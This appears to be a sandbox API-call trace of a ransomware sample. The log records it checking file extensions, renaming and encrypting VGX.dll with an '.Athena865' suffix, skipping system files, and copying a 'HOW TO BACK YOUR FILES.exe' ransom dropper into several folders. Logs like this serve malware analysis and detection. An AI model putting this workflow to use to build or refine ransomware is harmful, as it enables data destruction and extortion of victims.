[0117.916] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0117.916] lstrlenW (lpString="flexolibrary") returned 12 [0117.916] lstrlenW (lpString="fm5") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0117.916] lstrlenW (lpString="fmp") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0117.916] lstrlenW (lpString="fmp12") returned 5 [0117.916] lstrcmpiW (lpString1="X.dll", lpString2="fmp12") returned 1 [0117.917] lstrlenW (lpString="fmpsl") returned 5 [0117.917] lstrcmpiW (lpString1="X.dll", lpString2="fmpsl") returned 1 [0117.917] lstrlenW (lpString="fol") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0117.917] lstrlenW (lpString="fp3") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0117.917] lstrlenW (lpString="fp4") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0117.917] lstrlenW (lpString="fp5") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0117.917] lstrlenW (lpString="fp7") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0117.917] lstrlenW (lpString="fpt") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0117.917] lstrlenW (lpString="frm") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0117.917] lstrlenW (lpString="gdb") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0117.917] lstrlenW (lpString="gdb") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0117.917] lstrlenW (lpString="grdb") returned 4 [0117.917] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0117.917] lstrlenW (lpString="gwi") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0117.917] lstrlenW (lpString="hdb") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0117.917] lstrlenW (lpString="his") returned 3 [0117.917] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0117.918] lstrlenW (lpString="ib") returned 2 [0117.918] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0117.918] lstrlenW (lpString="idb") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0117.918] lstrlenW (lpString="ihx") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0117.918] lstrlenW (lpString="itdb") returned 4 [0117.918] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0117.918] lstrlenW (lpString="itw") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0117.918] lstrlenW (lpString="jet") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0117.918] lstrlenW (lpString="jtx") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0117.918] lstrlenW (lpString="kdb") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0117.918] lstrlenW (lpString="kexi") returned 4 [0117.918] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0117.918] lstrlenW (lpString="kexic") returned 5 [0117.918] lstrcmpiW (lpString1="X.dll", lpString2="kexic") returned 1 [0117.918] lstrlenW (lpString="kexis") returned 5 [0117.918] lstrcmpiW (lpString1="X.dll", lpString2="kexis") returned 1 [0117.918] lstrlenW (lpString="lgc") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0117.918] lstrlenW (lpString="lwx") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0117.918] lstrlenW (lpString="maf") returned 3 [0117.918] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0117.918] lstrlenW (lpString="maq") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0117.919] lstrlenW (lpString="mar") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0117.919] lstrlenW (lpString="marshal") returned 7 [0117.919] lstrlenW (lpString="mas") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0117.919] lstrlenW (lpString="mav") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0117.919] lstrlenW (lpString="maw") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0117.919] lstrlenW (lpString="mdbhtml") returned 7 [0117.919] lstrlenW (lpString="mdn") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0117.919] lstrlenW (lpString="mdt") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0117.919] lstrlenW (lpString="mfd") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0117.919] lstrlenW (lpString="mpd") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0117.919] lstrlenW (lpString="mrg") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0117.919] lstrlenW (lpString="mud") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0117.919] lstrlenW (lpString="mwb") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0117.919] lstrlenW (lpString="myd") returned 3 [0117.919] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0117.919] lstrlenW (lpString="ndf") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0117.920] lstrlenW (lpString="nnt") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0117.920] lstrlenW (lpString="nrmlib") returned 6 [0117.920] lstrcmpiW (lpString1="GX.dll", lpString2="nrmlib") returned -1 [0117.920] lstrlenW (lpString="ns2") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0117.920] lstrlenW (lpString="ns3") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0117.920] lstrlenW (lpString="ns4") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0117.920] lstrlenW (lpString="nsf") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0117.920] lstrlenW (lpString="nv") returned 2 [0117.920] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0117.920] lstrlenW (lpString="nv2") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0117.920] lstrlenW (lpString="nwdb") returned 4 [0117.920] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0117.920] lstrlenW (lpString="nyf") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0117.920] lstrlenW (lpString="odb") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0117.920] lstrlenW (lpString="odb") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0117.920] lstrlenW (lpString="oqy") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0117.920] lstrlenW (lpString="ora") returned 3 [0117.920] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0117.921] lstrlenW (lpString="orx") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0117.921] lstrlenW (lpString="owc") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0117.921] lstrlenW (lpString="p96") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0117.921] lstrlenW (lpString="p97") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0117.921] lstrlenW (lpString="pan") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0117.921] lstrlenW (lpString="pdb") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0117.921] lstrlenW (lpString="pdm") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0117.921] lstrlenW (lpString="pnz") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0117.921] lstrlenW (lpString="qry") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0117.921] lstrlenW (lpString="qvd") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0117.921] lstrlenW (lpString="rbf") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0117.921] lstrlenW (lpString="rctd") returned 4 [0117.921] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0117.921] lstrlenW (lpString="rod") returned 3 [0117.921] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0117.921] lstrlenW (lpString="rodx") returned 4 [0117.921] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0117.921] lstrlenW (lpString="rpd") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0117.922] lstrlenW (lpString="rsd") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0117.922] lstrlenW (lpString="sas7bdat") returned 8 [0117.922] lstrlenW (lpString="sbf") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0117.922] lstrlenW (lpString="scx") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0117.922] lstrlenW (lpString="sdb") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0117.922] lstrlenW (lpString="sdc") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0117.922] lstrlenW (lpString="sdf") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0117.922] lstrlenW (lpString="sis") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0117.922] lstrlenW (lpString="spq") returned 3 [0117.922] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0117.922] lstrlenW (lpString="te") returned 2 [0117.922] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0117.922] lstrlenW (lpString="teacher") returned 7 [0117.922] lstrlenW (lpString="tmd") returned 3 [0117.924] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0117.924] lstrlenW (lpString="tps") returned 3 [0117.924] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0117.924] lstrlenW (lpString="trc") returned 3 [0117.924] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0117.924] lstrlenW (lpString="trc") returned 3 [0117.924] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0117.924] lstrlenW (lpString="trm") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0117.925] lstrlenW (lpString="udb") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0117.925] lstrlenW (lpString="udl") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0117.925] lstrlenW (lpString="usr") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0117.925] lstrlenW (lpString="v12") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0117.925] lstrlenW (lpString="vis") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0117.925] lstrlenW (lpString="vpd") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0117.925] lstrlenW (lpString="vvv") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0117.925] lstrlenW (lpString="wdb") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0117.925] lstrlenW (lpString="wmdb") returned 4 [0117.925] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0117.925] lstrlenW (lpString="wrk") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0117.925] lstrlenW (lpString="xdb") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0117.925] lstrlenW (lpString="xld") returned 3 [0117.925] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0117.925] lstrlenW (lpString="xmlff") returned 5 [0117.925] lstrcmpiW (lpString1="X.dll", lpString2="xmlff") returned -1 [0117.925] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll.Athena865") returned 68 [0117.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.athena865"), dwFlags=0x1) returned 1 [0117.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.927] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1110528) returned 1 [0117.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ebb0 [0117.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ec38) returned 1 [0117.928] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.928] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0117.928] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10f500, lpName=0x0) returned 0x154 [0117.930] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10f500) returned 0x2d50000 [0117.977] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ec38) returned 1 [0117.977] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.977] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0117.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.978] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0117.988] CloseHandle (hObject=0x154) returned 1 [0117.988] CloseHandle (hObject=0x17c) returned 1 [0117.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ebb0 | out: hHeap=0x4f0000) returned 1 [0117.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.993] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0117.993] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0117.993] ReleaseMutex (hMutex=0xec) returned 1 [0117.993] CloseHandle (hObject=0xec) returned 1 [0117.993] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" [0117.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502a28 | out: hHeap=0x4f0000) returned 1 [0117.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af00 | out: hHeap=0x4f0000) returned 1 [0117.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned 59 [0117.993] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\563EC0188BFDDA139E0A56BB017D00D1") returned 0xec [0117.994] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0117.994] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" [0117.994] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0117.994] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\how to back your files.exe"), bFailIfExists=1) returned 0 [0117.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0117.995] GetLastError () returned 0x0 [0117.995] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0117.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0117.995] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0117.996] CloseHandle (hObject=0xf4) returned 1 [0117.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.996] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0117.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0117.996] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.996] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.996] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0117.996] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.996] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.996] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.996] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0117.996] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0117.996] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0117.996] lstrcmpiW (lpString1="Fonts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.996] lstrcmpiW (lpString1="Fonts", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.996] lstrcmpiW (lpString1="Fonts", lpString2=".") returned 1 [0117.996] lstrcmpiW (lpString1="Fonts", lpString2="..") returned 1 [0117.996] lstrcmpiW (lpString1="Fonts", lpString2="windows") returned -1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="bootmgr") returned 1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="temp") returned -1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="pagefile.sys") returned -1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="boot") returned 1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="ids.txt") returned -1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="ntuser.dat") returned -1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="perflogs") returned -1 [0117.997] lstrcmpiW (lpString1="Fonts", lpString2="MSBuild") returned -1 [0117.997] lstrlenW (lpString="Fonts") returned 5 [0117.997] lstrcpyW (in: lpString1=0x241e8c0, lpString2="Fonts" | out: lpString1="Fonts") returned="Fonts" [0117.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af00 [0117.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x550278 [0117.997] lstrcatW (in: lpString1="Fonts", lpString2="\\" | out: lpString1="Fonts\\") returned="Fonts\\" [0117.997] lstrcatW (in: lpString1="Fonts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Fonts\\HOW TO BACK YOUR FILES.exe") returned="Fonts\\HOW TO BACK YOUR FILES.exe" [0117.997] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce100640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.001] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.001] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce100640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0118.001] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.001] ReleaseMutex (hMutex=0xec) returned 1 [0118.001] CloseHandle (hObject=0xec) returned 1 [0118.001] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" [0118.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ef20 | out: hHeap=0x4f0000) returned 1 [0118.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af18 | out: hHeap=0x4f0000) returned 1 [0118.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned 51 [0118.001] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\862205D274E309456A9847000A9EF4E0") returned 0xec [0118.001] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.001] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" [0118.001] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.001] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.002] 